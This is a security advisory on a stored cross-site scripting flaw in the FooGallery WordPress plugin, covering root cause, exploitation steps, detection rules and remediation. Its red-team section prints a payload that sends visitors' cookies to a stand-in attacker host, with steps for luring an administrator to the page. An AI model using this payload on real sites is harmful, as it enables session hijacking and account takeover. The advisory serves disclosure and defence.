CVE-2024-12119

Executive Summary

CVE-2024-12119 is a Stored Cross-Site Scripting (XSS) vulnerability in the FooGallery – Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress. The flaw exists in all versions up to and including 2.4.29, specifically within the default_gallery_title_size parameter. Insufficient input sanitization and output escaping allow authenticated attackers with gallery and album creator roles to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.

This vulnerability is classified as a WordPress ecosystem issue, affecting the plugin’s administrative interface and frontend rendering. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The FooGallery plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Users should verify they are not running version 2.4.29 or earlier. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker must have gallery/album creator role.
• User Interaction (UI): Required – Victim must access the injected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Script injection can modify content.
• Availability (A): Low – Potential for denial of service via script execution.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin poses a significant risk to site administrators and visitors. The requirement for authenticated access reduces the attack surface but does not eliminate it.

Deep Dive & Mechanics

The vulnerability resides in the default_gallery_title_size parameter, which controls the font size of gallery titles. The plugin fails to properly sanitize user input and escape output when rendering this parameter in the frontend. An authenticated attacker with gallery or album creator privileges can inject malicious JavaScript code into this parameter. When the gallery is displayed to any user (including administrators), the injected script executes in the context of the victim’s browser.

Root Cause: The plugin uses echo $default_gallery_title_size; or similar without applying esc_attr() or esc_html() functions, and does not validate the input against a whitelist of allowed values.

Attack Flow:

1. Attacker logs in with gallery/album creator role.
2. Attacker navigates to the gallery settings page.
3. Attacker sets default_gallery_title_size to a malicious payload, e.g., "><script>alert('XSS')</script>.
4. Attacker saves the settings.
5. Any user visiting a page containing the gallery triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.4.29):

// In foogallery/includes/class-foogallery-gallery.php or similar
$default_gallery_title_size = get_post_meta( $post_id, 'default_gallery_title_size', true );
echo '<div class="foogallery-title" style="font-size: ' . $default_gallery_title_size . ';">';

Patched Code (hypothetical fix):

$default_gallery_title_size = get_post_meta( $post_id, 'default_gallery_title_size', true );
$safe_size = esc_attr( $default_gallery_title_size );
echo '<div class="foogallery-title" style="font-size: ' . $safe_size . ';">';

Additionally, input validation should restrict the value to a numeric or predefined set of sizes (e.g., 12px, 14px, 16px).

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with FooGallery plugin version <= 2.4.29.
• Authenticated user with gallery/album creator role.

Exploitation Steps:

1. Log in to WordPress admin.
2. Navigate to FooGallery > Add Gallery or edit an existing gallery.
3. In the gallery settings, locate the default_gallery_title_size field.
4. Inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the gallery.
6. Share the gallery page link with the target or wait for an administrator to view it.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection & Prevention:

• Monitor for unusual changes to gallery settings, especially the default_gallery_title_size parameter.
• Implement Web Application Firewall (WAF) rules to block XSS payloads in POST requests to /wp-admin/admin-ajax.php or gallery save endpoints.
• Restrict gallery creator roles to trusted users only.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Lab Setup:

• Use a local WordPress installation with FooGallery 2.4.29.
• Create a test user with gallery creator role.
• Simulate the attack by injecting a benign payload (e.g., <script>console.log("XSS Test")</script>).
• Verify that the script executes when viewing the gallery page.

Indicators of Compromise (IOCs)

• File Modifications: Unusual entries in wp_postmeta table with meta_key = default_gallery_title_size containing script tags.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected script execution or errors in gallery rendering.
• Browser Behavior: Unexpected pop-ups, redirects, or console errors when viewing gallery pages.

Detection Engineering

YARA Rule

rule CVE_2024_12119_FooGallery_XSS {
    meta:
        description = "Detects stored XSS payload in FooGallery default_gallery_title_size"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12119"
    strings:
        $payload1 = /default_gallery_title_size.*<script/i
        $payload2 = /default_gallery_title_size.*onerror/i
        $payload3 = /default_gallery_title_size.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: FooGallery Stored XSS via default_gallery_title_size
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects stored XSS attempts in FooGallery plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body|contains: 'default_gallery_title_size'
        http.body|contains|any:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in gallery titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12119 FooGallery Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"default_gallery_title_size"; http_client_body;
    pcre:"/(<script|onerror|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-12119;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the FooGallery plugin until a patch is available.
2. Restrict gallery creator roles to only trusted administrators.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in gallery settings.

Long-Term Fix:

• The vendor must release a patched version (>= 2.4.30) that properly sanitizes and escapes the default_gallery_title_size parameter.
• Apply input validation to allow only numeric values or predefined size strings.

Workaround:

• Use a WordPress security plugin to monitor and block XSS attempts.
• Regularly audit user roles and permissions.

Valters IT
Securing Digital Frontiers